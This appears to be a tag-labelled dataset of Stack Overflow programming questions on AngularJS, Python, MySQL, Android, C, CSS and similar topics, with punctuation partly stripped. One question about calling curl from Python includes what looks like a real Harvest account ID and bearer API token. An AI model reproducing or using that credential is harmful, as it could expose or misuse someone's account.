how can i create a simple <select> in angularjs with an option pre-selected   i am trying to create a  in angularjs. here s what i did so far:   <pre><code>&lt;select ng-model= inverse &gt;    &lt;option value=true&gt;sort up&lt;/option&gt;    &lt;option value=false selected= selected &gt;sort down&lt;/option&gt; &lt;/select&gt;  </code></pre>   i was trying to set false as the initial value. however when i look at the html that s created i see this and the select box does not show  sort down  as the default:   <pre><code>&lt;select ng-model= inverse  class= ng-pristine ng-valid &gt;    &lt;option value=   undefined:undefined   &gt;&lt;/option&gt;    &lt;option value= true &gt;sort up&lt;/option&gt;    &lt;option value= false  selected= selected &gt;sort down&lt;/option&gt; &lt;/select&gt; </code></pre>   can someone explain what i am doing wrong.,angularjs
can any one give me the url s where i get best sample code for iphone as well as ipad applications   i am working as iphone application developer.i want to learn new things in iphone so please guiding me i want some sample code as well as some tutorials so i get proper knowledge.please help me....,iphone
assign string value to a character if character placed in string (array)  i have:   <pre><code>var text = [];  text[0] =  xyй ;  text[0][0] =  c ;  alert(text[0][0]); // =  xyй  </code></pre>   i think that it is necessary to convert a string into an array  is this true,javascript
mysql update from select - you can t specify target table for update in from clause  i am trying to convert datetime to timestamp format in my table  mytable . it gives me an error say: <strong>you can t specify target table  mytable  for update in from clause</strong>. was i wrong with update or converting    <pre><code>update mytable set timestampin = (select unix_timestamp(str_to_date(timestamp   %h:%i%p ) from mytable) </code></pre>,mysql
import class from grandparent s sibling directory  i know there are lots of questions regarding python relative import  but i was not able to find any of these answers helpful. so  i was hoping that the stack overflow python community could help me figure out the solution to my problem.    i have the following directory structure:   <pre><code>project     | - src         | - module_1             | - module_1                 | - interesting.py             | - __init__.py         | - module_2             | - module_2                 | - importhere.py </code></pre>   there are classes in the <code>interesting.py</code> module which i want to import to the <code>importhere.py</code> module. but  somehow the pycharm doesn t let me do that!    what is the most pythonic solution for the same !,python
what s inside my rails ./bin directory   ruby on rails 4 introduced* the <code>./bin</code> directory. inside of <code>./bin</code> are a few executables: <code>bundle</code>  <code>rails</code>  <code>rake</code>  <code>setup</code>  <code>spring</code>.    my questions are:   <ol> <li>what do these executables do  why do they exist </li> <li>when are they invoked </li> <li>can i edit them  why would i edit them </li> </ol>   i ve read the source of these files  and i ve tried to google their purpose  but i can t wrap my head around it. i m looking for an in-depth explanation.    <sub>*i believe many of these files existed before rails 4  just in different location.</sub>,ruby-on-rails
error  android (name of project) has stopped unexpectedly <pre><code>package com.iperetz1.android.testbutton1; import android.app.activity; import android.os.bundle; import android.view.view; import android.view.view.onclicklistener; import android.widget.button;  public class testbutton extends activity {     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          button test2 = (button)findviewbyid(r.id.test2);               test2.setonclicklistener(new onclicklistener()         {            @override            public void onclick(view v)             {                setcontentview(r.layout.test2);;            }         });          button other = (button)findviewbyid(r.id.backmain);               other.setonclicklistener(new onclicklistener()         {            @override            public void onclick(view v)             {                setcontentview(r.layout.main);;            }         });     } } </code></pre>   main.xls   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;absolutelayout android:id= @+id/widget0  android:layout_width= fill_parent  android:layout_height= fill_parent  xmlns:android= http://schemas.android.com/apk/res/android  &gt; &lt;button android:id= @+id/test2  android:layout_width= wrap_content  android:layout_height= wrap_content  android:text= test2  android:layout_x= 24px  android:layout_y= 165px  &gt; &lt;/button&gt; &lt;/absolutelayout&gt; </code></pre>   test2.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;absolutelayout android:id= @+id/widget0  android:layout_width= fill_parent  android:layout_height= fill_parent  xmlns:android= http://schemas.android.com/apk/res/android  &gt; &lt;button android:id= @+id/backmain  android:layout_width= wrap_content  android:layout_height= wrap_content  android:text= backmain  android:layout_x= 24px  android:layout_y= 165px  &gt; &lt;/button&gt; &lt;/absolutelayout&gt; </code></pre>,android
question about release the object  i create a object in a function.   <pre><code>-(void) loginaction {     uiloginxml *loginxml = [[uiloginxml alloc] init];     [loginxml start];     [loginxml release];   //mark } </code></pre>   when the start method was called  it may cost 2 or 3 minutes to parse xml. the question is whether i can release this object at  mark      thanks a lot!,objective-c
python key in a dictionary not defined error (nameerror)  i want to declare a dictionary with empty keys and append the values later. i am trying this    <pre><code>&gt;&gt;&gt; dict = { a   b   c   d } &gt;&gt;&gt; dict([(key  []) for key in dict]) { a : []   c : []   b : []   d : []} &gt;&gt;&gt; dict[a].append(1) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; nameerror: name  a  is not defined </code></pre>   why do i get this error  please help me fix this..   <pre><code>&gt;&gt;&gt; dict[ a ].append(1) traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; typeerror:  set  object has no attribute  __getitem__  </code></pre>,python
mysql sort by desc or asc  below is my website i would like to add some sort of image sorter that when a button is clicked will sort the image by asc/desc depending on image date.,html
modifying html code  i have this html code:    <pre><code>&lt;input type= button  value= ok &gt; </code></pre>   when people click on the button  users go to the next step.    i also have an image that i would like to do the same thing. i want it so when the user clicks on the image  it will also go to the next step. i ve tried to edit the code but with no luck.    here is the image code attempt:    <pre><code>&lt;img src= black-white.gif  alt= bj  value= ok &gt; </code></pre>   can anyone tell me what would i need to add to the image code so that it does the same thing as the button code,html
what s the issue with this code   this is my part of the code:   <pre><code>import functions def assign_tasks(operators  requests  current_time):     sort_requests(requests)     print(requests) </code></pre>   the error is:   <pre><code>nameerror: name  sort_requests  is not defined </code></pre>   the function module has the following functions:   <pre><code>def sort_requests(requests):    requests.sort(key=operator.itemgetter(3) reverse=true)    return requests  def sort_operators_hours(operators):    operators.sort(key=operator.itemgetter(4))    return operators </code></pre>,python
mysql delete selected rows from table  ok so i am a bit stumped. i am horrible with the command line. i have a database with a table  wp_postmeta  that has 2 million extra/empty entries. these got there from a malfunctioning plugin. i am using ssh to access my db and this <code>sql</code> query does not seem to work. i am trying to delete only the entries that have a <code>meta_key</code> value that starts with <code> _oembed </code>. here is what i used:   <pre><code>delete * from wp_postmeta where meta_key like  ( %_oembed% ); </code></pre>   am i missing something,mysql
parsing mathematical expression from sentence (string) javascript  i have a task where i should be parsing mathematical expressions from sentence string.    i know that every variable in math expression starts with $.    operators that are allowed in these expressions are:   <ul> <li>></li> <li>&lt;</li> <li>-</li> <li>+</li> <li>*</li> <li>/</li> </ul>   string could be for example:   <ul> <li> how much is $a * $b </li> <li> car goes $a / $b km/h </li> <li> how much is $a + 2 * $b </li> </ul>   any idea how i should approach this,javascript
how to produce beep sound using  \a  escape character   if i write the following program  then there is no beep sound on running the code.   <pre><code>#include &lt;stdio.h&gt; int main() {      printf( \a );     return 0;  } </code></pre>   can you tell me how to use <code>\a</code> for producing beep sound using c program,c
android - how to make relativelayout under webview  i m a beginner android developer. i have a webview in swiperefreshlayout in drawerlayout. it is very hard... i need to horizontal relativelayout under my webview with button  left     refresh  and edittext.     here is my code:   <pre><code>     &lt;framelayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent &gt;             &lt;!-- layout main --&gt; &lt;android.support.v4.widget.drawerlayout xmlns:android= http://schemas.android.com/apk/res/android  android:id= @+id/drawer_layout  android:layout_width= match_parent  android:layout_height= match_parent          &gt;     &lt;relativelayout             android:layout_width= wrap_content              android:layout_height= wrap_content              android:orientation= horizontal          xmlns:android= http://schemas.android.com/apk/res/android &gt;                  &lt;!-- webview --&gt;                         &lt;android.support.v4.widget.swiperefreshlayout                 xmlns:android= http://schemas.android.com/apk/res/android              xmlns:tools= http://schemas.android.com/tools              android:id= @+id/refresher                      android:layout_width= fill_parent                 android:layout_height= fill_parent                  tools:context= com.shppandroid1.app.mainactivty          &gt;         &lt;webview android:id= @+id/wv                  android:layout_width= fill_parent                  android:layout_height= fill_parent              /&gt;          &lt;/android.support.v4.widget.swiperefreshlayout&gt;                              &lt;!--bar --&gt;          &lt;imagebutton                 android:layout_width= wrap_content              android:id= @+id/wv_back                  android:background= @drawable/wv_back_bg                  android:src= @drawable/wv_left_icon                  android:layout_height= wrap_content                  android:layout_alignparentbottom= true                  android:layout_marginleft= 3dp                  android:layout_marginbottom= 3dp                  android:layout_alignparentleft= true          /&gt;          &lt;imagebutton                 android:layout_width= wrap_content                  android:background= @drawable/wv_back_bg              android:id= @+id/loading                   android:layout_marginright= 3dp                  android:layout_marginbottom= 3dp                  android:layout_alignparentbottom= true                  android:src= @drawable/wv_refresh_icon                  android:layout_height= wrap_content                  android:layout_alignparentright= true              /&gt;     &lt;/relativelayout&gt;  &lt;!-- navigation drawer--&gt;  &lt;framelayout     android:id= @+id/content_frame          android:layout_width= match_parent          android:layout_height= match_parent  /&gt;  &lt;linearlayout      xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools          android:layout_width= 290dp      android:layout_gravity= start      android:id= @+id/left_drawer      android:orientation= vertical          android:layout_height= match_parent     &gt;      &lt;imageview         android:id= @+id/image              android:layout_width= wrap_content              android:layout_height= wrap_content              android:src= @drawable/header  /&gt;       &lt;listview         android:id= @+id/left_drawer_child              android:layout_width= 290dp              android:layout_height= match_parent              android:layout_gravity= start              android:background= #ffffff              android:paddingleft= 3sp              android:paddingright= 3sp              android:listselector= #c2c2c2      /&gt;  &lt;/linearlayout&gt;  &lt;/android.support.v4.widget.drawerlayout&gt;      &lt;!-- blacklist for night mode       --&gt;       &lt;linearlayout android:layout_width= match_parent  android:layout_height= match_parent  android:id= @+id/ll_bg    &gt;  &lt;/linearlayout&gt;   &lt;/framelayout&gt; </code></pre>   the panel covers part webview. it is necessary that she was just under it. how to make cool  ;),android
what is the difference between %p and 0x%08x  the question says it all. in c  when trying to get the address of a pointer or something  i know the commands:    <pre><code>%p </code></pre>   and   <pre><code>0x%08x </code></pre>   i know that they both return addresses  but why use one over another     check this out:   <pre><code>int main () {  int i[1] = {1}; int *int_pointer;  int_pointer = i;  printf( 0x%08x\n  &amp;i); printf( 0x%08x\n   int_pointer);  printf( %p\n  &amp;i); printf( %p\n   int_pointer);  } </code></pre>   this code yields this response:     0x60506b00     0x60506b00     0x7ffe60506b00     0x7ffe60506b00    if both refer to the addresses  then how come they are different depending on if you use %p or 0x%08x     which is the actual address,c
how to use define macros ios  i need to make a define but if i use ipad or iphone i need different values in this case.    so  as i think it should looks like this:   <pre><code>#ifdef ui_user_interface_idiom == ipad #define rowcount 12 #else #define rowcount 5 #endif </code></pre>   is there some solution to get it,ios
explicit conversion exists c#  the following line of code presents the title error:   <pre><code>itestclass t = new testclass(); </code></pre>   testclass implementation:   <pre><code>    public class testclass : itestclass {     public static testclass instance         {             get             {                 return testclass.instance;             }         }   //interface members  } </code></pre>   i have another set of classes with similiar interfaces where this cast works  why doesn t it work here,c#
how can i query the record so that i can display them each month wise  i have no. of records in my amount table and each record saved with date in  created  column. but now i want to display those records with each month wise and amount must be display as sum of amount for each month. like for the month of<br> 2014-05-01       amount   200 rs. and for the month of 2014-06-01 500rs. like so on,sql
jquery remove element if img src of :nth-child empty  i need to remove back and next arrows on a slideshow if the slideshow only has one image  the slideshow always adds <code>&lt;img src /&gt;</code> regardless of their being images there or not it just leaves the src as empty if there is only one image so i was trying to do it like this:   <pre><code>if(jquery( .spslideshow img:nth-child(2)[src=  ] )){      jquery( .next ).remove(); jquery( .back ).remove(); } </code></pre>   which fails it just removes the back/next irrelevant of wether the 2nd child s src is empty or not.    but when i run this on it s own:    <pre><code>jquery( .spslideshow img:nth-child(2)[src=  ] ) </code></pre>   it returns the correct dom node    why     chris,jquery
sql developer does not recognize bigint type  i m trying to code in sql developer  and i want to declare a bigint variable  for using it later to store a big number. the problem is that sql developer does not recognize this type:   <blockquote>    error report -        ora-06550: line 5  column 11:        pls-00201: identifier  bigint  must be declared  </blockquote>   what s the problem   do i have to do any updates or...       <strong>edit</strong>:    ok  so i just want to do the following:   <pre><code>set serveroutput on  declare   v_numar number(19);  begin    for i in 1..500000     loop     v_numar := v_numar + 1;    end loop;   dbms_output.put_line( numar -&gt;  ||v_numar); end; </code></pre>   the problem is that the output is just this:   <blockquote>    anonymous block completed        numar ->   </blockquote>   it can t print the value of v_numar. why is that   i declared the variabile as a number(19)  as someone suggested earlier.,sql
change the access mode of a database  my need is to make a access mode of a particular database to single for data movement from one database to another database by using an application on which website is running so that at the time of no other user can modify that database.    this all thing i like to do through c# code i.e. before running insert/update queries i like to execute query for making the destination database not usable by any other user. if there is any connection available with that database then i like to close it.,.net
how to put the menu on the right in mvysidemenu   i am wanting to use <a href= https://github.com/mobivery/mvysidemenu  rel= nofollow noreferrer >mvysidemenu</a> for my new ios project. it does exactly what i want - except for one thing. i want the side menu to come out from the right of the screen - not the left    i ve tried changing the menu frame - but it doesn t change or breaks the sliding part of it.  how to get it to come out from the right,objective-c
html dd tag ploblem  i am using dd tag  but ie / firefox show diffrent     1.ie nomal view : no padding   no margin 2.firefix strange view : some padding or some margin    html source code is     dd tag align is left   no margin   padding    html source   <pre><code>&lt;style&gt; .sortable { list-style-type: none; margin: 0 0 0 0 ; padding: 0 0 0 0; width: 100%; float:left; } .sortable li { float:left; width:100%; } .sortable li dd {      float:left;     text-align:left;     border:thin inset;   } .sortable #topmenu dd { background-color:#e7e7e7;} .sortable li .seq {width:4%;} .sortable li .mdp {width:11%;} .sortable li .korname {width:10%;} .sortable li .chrcd {width:10%;} .sortable li .name {width:30%;} .sortable li .direct {width:18%;} .sortable li .result {width:7%;} .lilist {      font-family: 굴림 arial;     font-size: 9pt;     line-height: 11pt;     text-decoration: none;     height:17px;     text-align:center;       }        &lt;/style&gt; &lt;div&gt; &lt;ul class= sortable &gt;     &lt;li class= lilist  id= topmenu &gt;         &lt;dd class= seq &gt;&lt;b&gt;번호&lt;/b&gt;&lt;/dd&gt;         &lt;dd class= mdp &gt;&lt;b&gt;mdp구분&lt;/b&gt;&lt;/dd&gt;         &lt;dd class= korname &gt;&lt;b&gt;학습단계&lt;/b&gt;&lt;/dd&gt;         &lt;dd class= chrcd &gt;&lt;b&gt;강좌코드&lt;/b&gt;&lt;/dd&gt;     &lt;/li&gt; &lt;/ul&gt; &lt;ul id= sortable  class= sortable &gt;      &lt;li class= lilist &gt;             &lt;dd class= seq  id= re &gt;5&lt;/dd&gt;             &lt;dd class= mdp &gt;mdp&lt;/dd&gt;             &lt;dd class= korname &gt;특강&lt;/dd&gt;             &lt;dd class= chrcd  id= chrcd_1 &gt;12131&lt;/dd&gt;     &lt;/li&gt;        &lt;li class= lilist &gt;             &lt;dd class= seq  id= re &gt;4&lt;/dd&gt;             &lt;dd class= mdp &gt;mdp&lt;/dd&gt;             &lt;dd class= korname &gt;문제풀이&lt;/dd&gt;             &lt;dd class= chrcd  id= chrcd_2 &gt;12227&lt;/dd&gt;     &lt;/li&gt;        &lt;li class= lilist &gt;             &lt;dd class= seq  id= re &gt;3&lt;/dd&gt;             &lt;dd class= mdp &gt;mdp&lt;/dd&gt;             &lt;dd class= korname &gt;특강&lt;/dd&gt;             &lt;dd class= chrcd  id= chrcd_3 &gt;12215&lt;/dd&gt;     &lt;/li&gt;        &lt;li class= lilist &gt;             &lt;dd class= seq  id= re &gt;2&lt;/dd&gt;             &lt;dd class= mdp &gt;mdp&lt;/dd&gt;             &lt;dd class= korname &gt;기본완성&lt;/dd&gt;             &lt;dd class= chrcd  id= chrcd_4 &gt;12171&lt;/dd&gt;     &lt;/li&gt;        &lt;li class= lilist &gt;             &lt;dd class= seq  id= re &gt;1&lt;/dd&gt;             &lt;dd class= mdp &gt;mdp&lt;/dd&gt;             &lt;dd class= korname &gt;기본완성&lt;/dd&gt;             &lt;dd class= chrcd  id= chrcd_5 &gt;12147&lt;/dd&gt;     &lt;/li&gt;    &lt;/ul&gt; </code></pre>       why diffrent show,html
what is the difference between postback  autopostback and callback   can you define autopostback and postback and it s differences  and which web server control support autopostback and postback and also the difference between postback and callback,asp.net
what is the default valu for double   i am trying to change data-type double(10 2) to double(20 3) in cpanel/phpmyadmin but it will updating only double  in mysql what is the default value of datatype double if not passing parameter like double(10 2),mysql
angular watch form input doesnt work  i have a form in html page :   <pre><code>&lt;div ng-controller= ctrl as c &gt;       &lt;form name= myform &gt;         &lt;input type= text  name= myinput  require/&gt;      &lt;/form&gt; &lt;/div&gt; </code></pre>   i want to watch changes of input in my controller  so i did like this :   <pre><code>angular.module( app ).controller( ctrl   ctrl); ctrl.$inject = [ $scope ];  function ctrl($scope) {     var vm = this;     $scope.$watch( myform.myinput   function (value) {        //check validity     }); } </code></pre>   but when i change input value  nothing happen in controller. any idea,angularjs
iphone - when is dealloc for a viewcontroller called   i am using uinavigationcontroller to move between views. when i move back and forth in views  the memory used by my app keeps on increasing. on placing nslog statements in the dealloc method of all viewcontrollers  i noticed it was being called for only some viewcontrollers and not all that were popped.    for instance  this is the sequence in which views are pushed mainviewcontroller -> viewcontroller1 -> viewcontroller2 -> viewcontroller3    now in viewcontroller3 if i do a poptoviewcontroller:maincontroller  dealloc is called only for viewcontroller3. it is not called for viewcontroller1 and 2.    can someone please tell me why this is happening.    <strong>found the problem. the dealloc method was not being called if any of the references held by a viewcontroller were still in memory. in my case it was the mpmovieplayercontroller object which was not released in viewcontroller1 and viewcontroller2.</strong>,iphone
role of sqlite in iphone programming  what is the role of sqllite in iphone programming  where do we use it  is there any nice link to read around this topic in detail with sample code,iphone
how to make a system curl call from terminal using python   the call i want to make is this:   <pre><code>curl -i \   -h  harvest-account-id: 3012210627 \   -h  authorization: bearer 184740.pt.vgnf7lme1ydtjth4_nfhm8nih(qmyri9kfs4bbvztnlm9p0hngqvahnlglnta9q0wlmtrpoeonhvat7phzaanw \   -h  user-agent: harvest api example  \    https://api.harvestapp.com/api/v2/time_entries.json  </code></pre>   but i am not quite sure of how to do this. any help will be appreciated.,python
remove from normal flow and set relative position to itself <pre><code>&lt;div id= foo &gt;     &lt;div&gt;&lt;/div&gt;     &lt;div id= bar &gt;&lt;/div&gt;     &lt;div&gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   how do you get top of  bar  to be positioned -5px relative to its original position and also removed from the normal flow    <h2>attempt 1</h2>  <pre><code>#bar {     position: relative;     top: -5px; } </code></pre>   doesn t work since  bar  is not removed from normal flow   <h2>attempt 2</h2>  <pre><code>#foo {     position: relative; } #bar {     position: absolute;     top: -5px; } </code></pre>   doesn t work since top of  bar  is placed -5px relative to  foo,css
how to initialize member variables in javascript with protoypal inheritance  i m trying to get my head around protoypal inheritance and have a question about shared member variables.    i have an object:   <pre><code>var obja = {     list: []      mypush: function(aparam){       this.list.push(aparam);     } } </code></pre>   and try to  protoypal inherit  it with the object() function from <a href= http://javascript.crockford.com/prototypal.html  rel= nofollow noreferrer >http://javascript.crockford.com/prototypal.html</a>   <pre><code>var objb = object(obja); </code></pre>   but somehow a change to obja gets transfered to objb:   <pre><code>obja.mypush( a string ); equals(obja.list.length  1); equals(objb.list.length  0); //&lt;= fails. why  </code></pre>   the full code with failing tests: <a href= http://jsbin.com/izawi/edit  rel= nofollow noreferrer >http://jsbin.com/izawi/edit</a>    could someone explain this to me  and possible fixes. i could have an constuct() function  but this doesn t seems right.    thanks in advance    matthias,javascript
why we can not have shared(static) function/methods in an interface/abstract class   in .net we are not allowed to have shared function/methods in abstract classes and interfaces.  why they are not allowed       is this same in other languages. like java      what can be the potential problem if the shared methods are allowed,.net
scroll viewpager and listview vertically  i have horizontal viewpager and listview. when i scroll listview i need to scroll up the viewpager too  i have try from this source <a href= https://stackoverflow.com/questions/6210895/listview-inside-scrollview-is-not-scrolling-on-android >listview inside scrollview is not scrolling on android</a> but it does nt work.    here my view:   <pre><code> &lt; xml version= 1.0  encoding= utf-8  &gt;             &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android                  xmlns:tools= http://schemas.android.com/tools                  android:id= @+id/content_view                  android:layout_width= match_parent                  android:layout_height= match_parent                  android:orientation= vertical  &gt;                  &lt;relativelayout                     android:layout_width= match_parent                      android:layout_height= 50dp                      android:background= #fff                      android:orientation= horizontal  &gt;                      &lt;imagebutton                         android:id= @+id/menubutton                          android:layout_width= 50dp                          android:layout_height= 50dp                          android:background= #fff                          android:contentdescription= @string/image                          android:scaletype= fitxy                          android:src= @drawable/menu  /&gt;                      &lt;imageview                         android:id= @+id/logo_okezone                          android:layout_width= 200dp                          android:layout_height= 50dp                          android:layout_centerhorizontal= true                          android:layout_centerinparent= true                          android:layout_torightof= @id/menubutton                          android:background= #fff                          android:contentdescription= @string/app_name                          android:src= @drawable/logo_okezone  /&gt;                 &lt;/relativelayout&gt;                  &lt;scrollview                     android:layout_width= fill_parent                      android:layout_height= fill_parent                      android:fillviewport= true  &gt;                      &lt;linearlayout                         android:layout_width= wrap_content                          android:layout_height= fill_parent                          android:orientation= vertical  &gt;                          &lt;linearlayout                             android:id= @+id/first_color                              android:layout_width= fill_parent                              android:layout_height= 8dip                              android:background= #0062a6                              android:orientation= horizontal  &gt;                         &lt;/linearlayout&gt;                          &lt;linearlayout                             android:id= @+id/second_color                              android:layout_width= fill_parent                              android:layout_height= 35dip                              android:background= #03234c                              android:orientation= horizontal  &gt;                              &lt;textview                                 android:layout_width= 100dip                                  android:layout_height= wrap_content                                  android:paddingbottom= 5dip                                  android:paddingleft= 5dip                                  android:paddingtop= 5dip                                  android:text= @string/headline                                  android:textcolor= #fff                                  android:textsize= 16sp  /&gt;                              &lt;linearlayout                                 android:layout_width= fill_parent                                  android:layout_height= wrap_content                                  android:gravity= right                                  android:orientation= horizontal                                  android:paddingbottom= 5dip                                  android:paddingright= 10dip                                  android:paddingtop= 5dip  &gt;                                  &lt;imageview                                     android:id= @+id/firstslide                                      android:layout_width= 20dip                                      android:layout_height= 20dip                                      android:contentdescription= @string/image                                      android:paddingright= 10dip                                      android:src= @drawable/square_white  /&gt;                                  &lt;imageview                                     android:id= @+id/secondslide                                      android:layout_width= 20dip                                      android:layout_height= 20dip                                      android:contentdescription= @string/image                                      android:paddingright= 10dip                                      android:src= @drawable/square_gray  /&gt;                                  &lt;imageview                                     android:id= @+id/thirdslide                                      android:layout_width= 20dip                                      android:layout_height= 20dip                                      android:contentdescription= @string/image                                      android:paddingright= 10dip                                      android:src= @drawable/square_gray  /&gt;                                  &lt;imageview                                     android:id= @+id/fourthslide                                      android:layout_width= 20dip                                      android:layout_height= 20dip                                      android:contentdescription= @string/image                                      android:paddingright= 10dip                                      android:src= @drawable/square_gray  /&gt;                             &lt;/linearlayout&gt;                         &lt;/linearlayout&gt;                          &lt;android.support.v4.view.viewpager                             android:id= @+id/pager                              android:layout_width= match_parent                              android:layout_height= 200dip  /&gt;                          &lt;linearlayout                             android:id= @+id/third_color                              android:layout_width= fill_parent                              android:layout_height= 35dip                              android:background= #03234c                              android:orientation= horizontal  &gt;                              &lt;textview                                 android:layout_width= fill_parent                                  android:layout_height= wrap_content                                  android:paddingbottom= 5dip                                  android:paddingleft= 5dip                                  android:paddingtop= 5dip                                  android:text= @string/terbaru                                  android:textcolor= #fff                                  android:textsize= 16sp  /&gt;                         &lt;/linearlayout&gt;                          &lt;com.costum.android.widget.loadmorelistview                             android:id= @+id/list                              android:layout_width= fill_parent                              android:layout_height= fill_parent  /&gt;                     &lt;/linearlayout&gt;                 &lt;/scrollview&gt;              &lt;/linearlayout&gt; </code></pre>   any help please. thanks.,android
reverse order of the keys for an object.entries() method  the object.entries() method seem to output the keys in an ascending order:   <pre><code>// array like object with random key ordering const anobj = { 100:  a   2:  b   7:  c  }; console.log(object.entries(anobj)); // [ [ 2    b ]  [ 7    c ]  [ 100    a ] ] </code></pre>   i am not sure it this is always the case  but if it is so  is there any way of reversing the order,javascript
turbo c++ constant limit  in turbo  c++ (for c language) the limit of constant values is -32768 to 32767.    but if i am initializing the value more than 32767 or less than -32768 it is showing result.    so how does the compiler gives evaluates result for values more than 32767 and less than -32768.     how does the calculation takes place for these  to what does the extended value change,c
css issues in ie8  im having 2 div s    one div should appear beside another div  and its working the same way as expected in all the browsers but in ie8  the right div is appearing below left div  the same is  working fine in ie9  but the issue is with only ie8 how to overcome this as i dont have much experience on working with css   <pre><code> .leftcontent { background: none repeat scroll 0 0 #; float: left; height: 500px; width:25%;  }   .rightcontent { background: none repeat scroll 0 0 #; float: left; height: 500px; width:80%;  } </code></pre>,css
in angular how can i set a watch inside my directive that fires when the value of an attribute changes   if i have a directive call like this:   <pre><code>&lt;mydirective data-pid= data.id &gt;&lt;/mydirective&gt; </code></pre>   js:   <pre><code>app.directive( mydirective   function ($compile) {         return {         require:  ngmodel           link: function ($scope  element  attrs  ngmodel) {          }     } }); </code></pre>   then in the link area of my directive how can i watch this attribute and do something if its value changes,angularjs
create an iframe with an empty src that s a standards compliant alternative to  #   i have an iframe on a page that i need to initially have a blank src for  as i eventually set the src with javascript.    i had been using a  however have encountered an issue in safari and chrome where this loads a duplicate copy of my page within the iframe.    i read about  about:blank  in another question  however i ve read that ie9 sends a null request to the server when you use this as the src. i ve also yet to find anything listing this src as standards compliant.    does anyone have an alternative to  about:blank  that they use to create an empty iframe,html
can you access the user.config file from multiple applications   i currently have two projects  lets call them  project1  and  project2 .  both are console applications.    project1 has settings like  dbname    dbserver   etc... that are all stored in the user.config file.  this is the config file that is stored per user.    is it possible to access the user.config file from project1 when i start project2  meaning i can get access to the  dbname    dbserver   etc.. within project2     thanks!,.net
rounded corner fallback without javascript  what css workaround that you folks use to fallback support for ie6  7 8    i need rounded corner for   <ol> <li>text inside div (button)</li> <li>image as background-image in div (make the image rounded corner)</li> </ol>,css
solving codingbat  evenodd  with one loop in java  the question is about solving <a href= http://codingbat.com/prob/p105771  rel= nofollow >this</a> problem from codingbat in java.    <strong>problem statement:</strong>    <em>return an array that contains the exact same numbers as the given array  but rearranged so that all the even numbers come before all the odd numbers. other than that  the numbers can be in any order. you may modify and return the given array  or make a new array.</em>   <blockquote>    evenodd({1  0  1  0  0  1  1}) → {0  0  0  1  1  1  1}        evenodd({3  3  2}) → {2  3  3}        evenodd({2  2  2}) → {2  2  2}  </blockquote>   the problem is simple with 2 loops i attempted at solving it with 1 it got too lengthy i believe  is there any other efficient way to solve the above problem using 1 loop  do not use collections!    <strong>my solution:</strong>   <pre><code>public int[] evenodd(int[] nums) {  boolean oddfound=false; int count=-1; int oddgap=0;  for(int i=0;i&lt;nums.length;i++)   {      if(!(oddfound)&amp;(nums[i]%2==0))        continue;         if((!oddfound)&amp;(nums[i]%2==1))        {          oddfound=true;          count=i;          continue;        }        if((oddfound)&amp;(nums[i]%2==1))        {          oddgap++;          continue;        }         if((oddfound)&amp;(nums[i]%2==0))          {          int temp=nums[count];          nums[count]=nums[i];            nums[i]=temp;           if(i&gt;0)              i--;              if(oddgap&gt;0)             {               oddgap--;               count+=1;               oddfound=true;               continue;              }               oddfound=false;         }        }      return nums;      } </code></pre>,java
simple sql question with subqueries  i m refreshing my sql with the online stanford database class exercises  found <a href= http://openclassroom.stanford.edu/mainfolder/documentpage.php course=introtodatabases&amp;doc=/docs/social-exercises.html  rel= nofollow  title= here >here</a>.  here is the problem:   <blockquote>     find names and grades of students who only have friends in the same   grade. return the result sorted by grade  then by name within each   grade.   </blockquote>   we have a <code>highschooler</code> table  with the attributes <code>name</code>  <code>grade</code>  <code>id</code>.  also  the <code>likes</code> table has attributes <code>id1</code> and <code>id2</code>.  <code>id1</code> and <code>id2</code> in <code>likes</code> correspond to <code>id</code> in <code>highschooler</code>.    based on the problem section this comes from  i can tell that i ll need to use subqueries  but i m not sure where.  how should i approach this problem   none of the currently suggested solutions work.    here is my current sql statement  that is not working correctly (ignoring sorting):    <pre><code>select distinct    student1.id     student1.name     student1.grade  from    highschooler student1     highschooler student2     friend  where not exists (select *                    from friend                    where student1.id = id1                      and student2.id = id2                      and student1.grade = student2.grade                      and student1.id &lt;&gt; student2.id); </code></pre>,sql
ios real monotonic clock other than mach_absolute_time()  my ios app needs a custom clock that is synchronized with my server s clock all the time. all the synchronization logic is done.    my clock is based on mach_absolute_time() from which you can calculate the elapsed time since the device was booted. the problem is that when the device goes into sleep mode (by pressing the screen lock key and having no app running in background) the mach time ticking is paused. when the phone is awakened the mach time ticking resumes but it will not account for the time that the phone has been asleep.    this is how i calculate elapsed time since boot (but it won t account for the time the device is asleep)   <pre><code>- (long long) elapsedtimemillis {     uint64_t elapsedtimenano = 0;      mach_timebase_info_data_t timebaseinfo;     mach_timebase_info(&amp;timebaseinfo);      elapsedtimenano = mach_absolute_time() * timebaseinfo.numer / timebaseinfo.denom;     return (long long)(elapsedtimenano / 1000000); } </code></pre>   and this has exactly the same results:   <pre><code>- (long long) elapsedtimemillis {     clock_serv_t cclock;     mach_timespec_t mts;      host_get_clock_service(mach_host_self()  system_clock  &amp;cclock);     clock_get_time(cclock  &amp;mts);     mach_port_deallocate(mach_task_self()  cclock);      return mts.tv_nsec / 1000000 + mts.tv_sec * 1000; } </code></pre>   nsdate  cfabsolutetimegetcurrent() or alike are not an option because they are affected by device time being sync ed or manually changed by the user.    is there any way to get time in ios from a non-stop ticking clock that won t jump back or forth,ios
character with inverted colors   i m making a checkers game (for recreational purposes). and i m using c. i was thinking of drawing the board with:    <ul> <li>ascii 219 (full square) &#9608;</li> <li>ascii (space)    </li> </ul>   but i d like to maintain the full background with letters (negative like).    i ve searched in ways to color the characters like <a href= https://stackoverflow.com/questions/3585846/color-text-in-terminal-applications-in-unix >here</a>  but it doesn t work in windows (at least not for me...) and i d like a simple solution.    does anybody have an idea  is there a  thing  like  negative o     <hr>  <h2>temporary workaround:</h2>   to maintain it universal  i ll keep it all ascii with ascii art. and use only the  white  squares. since it s just checkers  i ll only use one type of square. for chess it would be different... if a better solution should apear  i ll change the answer.,c
